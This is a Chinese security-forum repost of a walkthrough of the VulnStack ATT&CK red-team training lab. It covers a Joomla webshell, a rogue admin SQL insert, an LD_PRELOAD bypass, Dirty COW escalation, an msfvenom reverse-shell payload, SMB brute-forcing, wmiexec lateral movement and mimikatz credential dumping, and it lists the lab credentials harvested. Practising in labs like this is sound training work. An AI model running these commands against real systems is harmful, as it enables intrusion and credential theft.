安全矩阵

 找回密码
 立即注册
搜索
查看: 2977|回复: 0

ATT&CK红队评估三套靶场渗透记录

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-3-16 23:06:22 | 显示全部楼层 |阅读模式
​原文链接:ATT&CK红队评估三套靶场渗透记录 (qq.com)

前言:
开源靶场VulnStack是由国内红日安全团队打造一个靶场知识平台。靶场设计思路来源ATT&CK红队评估模式,从漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场。最近正在学习内网知识,这一套靶场还是很有针对性的,可以拿来练手。本次针对第三套靶场进行搭建、环境配置,以及根据渗透测试流程进行渗透,从web应用程序到内网拿下主机,将整个渗透过程记录下来分享给大家。

一、靶场基本信息
1.1 环境配置:
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。所有虚拟机都是挂起状态,账号已默认登录,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。参考虚拟机网络配置,添加新的网络,该网络作为内部网络。


注:名称及网段必须符合上述图片,进行了固定ip配置。
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。

1.2 设备信息:
web-centos:
双网卡:桥接+VMnet2

web1-ubantu:
单网卡:VMnet2

Windows server 2008:
单网卡:VMnet2

Windows server 2012:
单网卡:VMnet2

PC-Windows 7
单网卡:VMnet2

1.3 网络拓扑


+++++++++++分割线+++++++++++
目标基本信息:网站地址:http://92.168.1.110/

二、WEB渗透
访问网站,注意到网站使用的是PHP语言

通过改变地址字母大小写报错,发现是Apache+Ubuntu

在浏览网站的过程中发现了用户登录的页面

在进行端口扫描,查看服务器都开启了什么服务

开放了端口22、80、3306
其中80端口上的服务是http,版本是Nginx 1.9.4,那么该主机可能只是起到了一个中转的作用,真正的web服务器并不是这一台;开放了3306端口,那么如果能找到账号密码也许就可以远程连接。
御剑目录扫描:

查看robots页面发现里面存在一些敏感目录

并且发现了后台登录地址

在这里可以发现它是使用的Joomla搭建的网站,在kali中有针对该CMS的扫描工具,可以扫描一下。(注:若没有的话可以在github上下载安装)
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl --url http://192.168.1.100
========================================================
确定了版本型号是 3.9.12(该版本存在修改模板getshell的方法)

同时也发现了一个配置文件的敏感目录,里面找到了连接mysql数据库的账号密码

尝试远程连接找到后台登录的账号密码

连接成功,这里虽然找到了管理员的账号密码,但是密码是被加密的,而加密方式也并不知道(其实一般的网站后台账号的加密方式是MD5,或两次MD5这种的就可以直接将“123456”进行加密把他的替换掉,就可以登陆了,前提是要备份一下他原先的密码;但是现在的这个情况是不能使用这种方式的)

另一种方式,直接添加新的管理员账户(根据joomla官方文档 https://docs.joomla.org/How_do_y ... n_password%3F/zh-cn、如何回复或重置管理员密码,可以添加一个管理员账户进去方便我们操作)

  1. INSERT INTO `am2zu_users`
  2.    (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
  3. VALUES ('Administrator2', 'admin2',
  4. 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
  5. INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
  6. VALUES (LAST_INSERT_ID(),'8');
复制代码





此时就添加了一个admin2/secret超级管理员账户(后台管理界面)

然后通过以下方式添加木马,Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php,写入一句话木马。




保存后蚁剑连接http://x.x.x.x/templates/beez3/webshell.php

连接成功后运行终端命令,但是都返回ret=127

这里可能是对系统执行函数做了限制,可以上传一个phpinfo脚本页面查看PHP的配置信息

可以看到这里禁用了一系列的函数

在GitHub上有一种方法可以进行免杀绕过
https://github.com/yangyangwithg ... func_via_LD_PRELOAD
上传文件bypass_diablefunc.php 和 bypass_diablefunc_x64.so到可读写执行的目录下


执行方式:
http://192.168.1.109/templates/b ... _disablefunc_x64.so

这里的outpath路径在tmp下就可以,下一级目录可以是任意的,即使是不存在的也可以


前面确定了系统是Linux系统,输入ifconfig查看IP地址,只有一个网卡,确定真实web服务器为192.168.93.120,是一台内网服务器。结合前面搜集到的信息可以基本判断出当前web服务器是由两台构成,一台在内网的真实服务器,一台是代理服务器,Nginx反向代理;且web服务器的系统是Ubuntu系统,内核版本较新,先不看提权。
在翻系统内的文件的时候在tmp目录下的mysql文件夹中找到了一个test.txt文件,里面存放着账号密码,应该是代理服务器的,可以尝试登录


登录后可以看到是有两张网卡,说明这是一台出网机,内网IP是192.168.93.100,且当前账户的权限并不高。


三、内网渗透
########################################################
先整理一下前面获取到的资源:
1、webshell(http://192.168.1.109/templates/beez3/webshell.php   密码:shell   无执行命令的权限)
2、出网机的控制权限(非root,wwwuser/wwwuser_123Aqx)
3、mysql账户(testuser/cvcvgjASD!@)
4、网站后台账户(admin2/secret)
5、LD_PRELOAD绕过,执行命令
http://192.168.1.109/templates/b ... _disablefunc_x64.so
########################################################
在内网进行横向移动的前提是需要一台跳板机,所以需要获取到这台出网机的完全控制权限,前面收集到的信息中,该系统的系统内核版本在脏牛的提权范围内,可以进行提权。

脏牛影响范围:
Centos7 /RHEL73.10.0-327.36.3.el7
Cetnos6/RHEL62.6.32-642.6.2.el6
Ubuntu16.104.8.0-26.28
Ubuntu16.044.4.0-45.66
Ubuntu14.043.13.0-100.147
Debian83.16.36-1+deb8u2
Debian73.2.82-1

1、提权
上传dirty.c文件到出网机内

执行命令gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件(exp 下载地址:https://github.com/FireFart/dirtycow

执行 ./dirty password 提权



此时就添加了一个用户名为firefart,密码为admin的管理员账户。ssh远程连接成功,权限为最高级

获得完全的控制权限之后需要设置代理进入内网,借助MSF生成木马控制主机,再借助socks4a将内网流量代理出来

2、派生MSF会话
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf

将这个后门文件上传到控制的出网服务器上,这里要注意文件的权限,必须要能执行

在msf上设置监听模块,进行监听:

  1. use exploit/multi/handler   //设置监听模块
  2. set lhost 192.168.1.114
  3. set payload linux/x86/meterpreter/reverse_tcp   //设置监听payload
  4. set lhost 192.168.1.114
  5. run
复制代码

use exploit/multi/handler   //设置监听模块set lhost 192.168.1.114set payload linux/x86/meterpreter/reverse_tcp   //设置监听payloadset lhost 192.168.1.114run之后再运行后门文件,获得控制会话

前面我们判断出内网的ip段是192.168.93.0/24,所以要先添加路由,探测内网中存活的主机。



探测内网存活主机

经过探测发现三台主机存活,如下:



192.168.93.10 Windows sever 2012 R2
192.168.93.20 Windows server 2008 sp2
192.168.93.30 Windows 7 sp1
可以尝试爆破一下主机的本地管理员密码:

  1. use auxiliary/scanner/smb/smb_login
  2. set rhosts 192.168.93.10
  3. set SMBUSER administrator
  4. set PASS_FILE /root/tool/TopDevPwd.txt
  5. run
复制代码



这里爆破出了08主机和win7主机的密码:123qwe!ASD

现在知道了两台主机的账号密码,利用socks4a代理,配合ProxyChains来控制内网主机。

配置proxychains代理链的配置文件/etc/proxychains.conf

之后可以利用wmi来控制主机,进行操作(wmi 出现在所有的windows操作系统中,由一组强大的工具集合组成,用于管理本地或远程的windows系统。攻击者使用wmi攻击时windows系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。下载地址
https://github.com/SecureAuthCor ... examples/wmiexec.py
执行命令:
proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
即可控制主机

可以了解到,内网中是存在域控的,也是DNS服务器192.168.93.10,至此基本能够确定内网拓扑了:一台centos做了Nginx反向代理了一个Web服务,且拥有两张网卡;Web服务部署在一台Ubuntu服务器上,拥有一张网卡;一台域控服务器server 2012,;一台内网PC主机win7;一台server 2008 服务器。表格如下:

(反向代理服务器位于用户与目标服务器之间,但是对于用户而言,反向代理服务器就相当于目标服务器,即用户直接访问反向代理服务器就可以获得目标服务器的资源。反向代理的工作原理是,代理服务器来接受客户端的网络访问连接请求,然后服务器将请求有策略的转发给网络中实际工作的业务服务器,并将从业务服务器处理的结果,返回给网络上发起连接请求的客户端。反向代理优点:1、提高了内部服务器的安;2、加快了对内部服务器的访问速度;2、节约了有限的IP资源)
tasklist /V查看系统进程,可以发现有TEST域进程,那么就可以尝试抓取密码。


3、mimikatz抓取域控密码
kali 使用 smbclient 通过代理连接 windows server 2008 上传 mimikatz。
proxychains smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe
先上传mimikatz工具

然后利用wmiexec.py运行工具抓取密码
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

至此就获取到了所有主机的密码



4、IPC远程连接
IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。
利用条件:
(1)管理员开启了默认共享
(2)139或445端口开放
利用wmi连接08服务器,然后利用IPC连接域控服务器,读取内部重要文件
IPC连接

寻找重要文件

读取文件


++++++++++++++++++++++++++++++++++++++++++++++++++++++++
最终成果:
1、webshell(http://192.168.1.109/templates/beez3/webshell.php   密码:shell   无执行命令的权限)
2、出网机的控制权限(非root,wwwuser/wwwuser_123Aqx)(root权限:firefart/admin)
3、mysql账户(testuser/cvcvgjASD!@)
4、网站后台账户(admin2/secret)
5、LD_PRELOAD绕过,执行命令
http://192.168.1.109/templates/b ... _disablefunc_x64.so) 注:这里是直接对web服务进行控制,并不是出网机
6、域控服务器账号密码:administrator/zxcASDqw123!!
7、Windows server 2008 服务器账号密码:administrator/123qwe!ASD
8、PC主机Windows 7账号密码:administrator/123qwe!ASD
注:
添加代理proxychains+socks4a,配合将内网流量代理出来
利用wmi控制Windows server 2008主机proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20',同样的方法也可以控制192.168.93.30主机;在知道了域控的密码之后也可以用这种方式进行控制。
在Windows server 2008上利用wmi+IPC读取域控中的文件
至此实验结束。

https://blog.csdn.net/weixin_39914107/article/details/111429294



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 12:06 , Processed in 0.016521 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表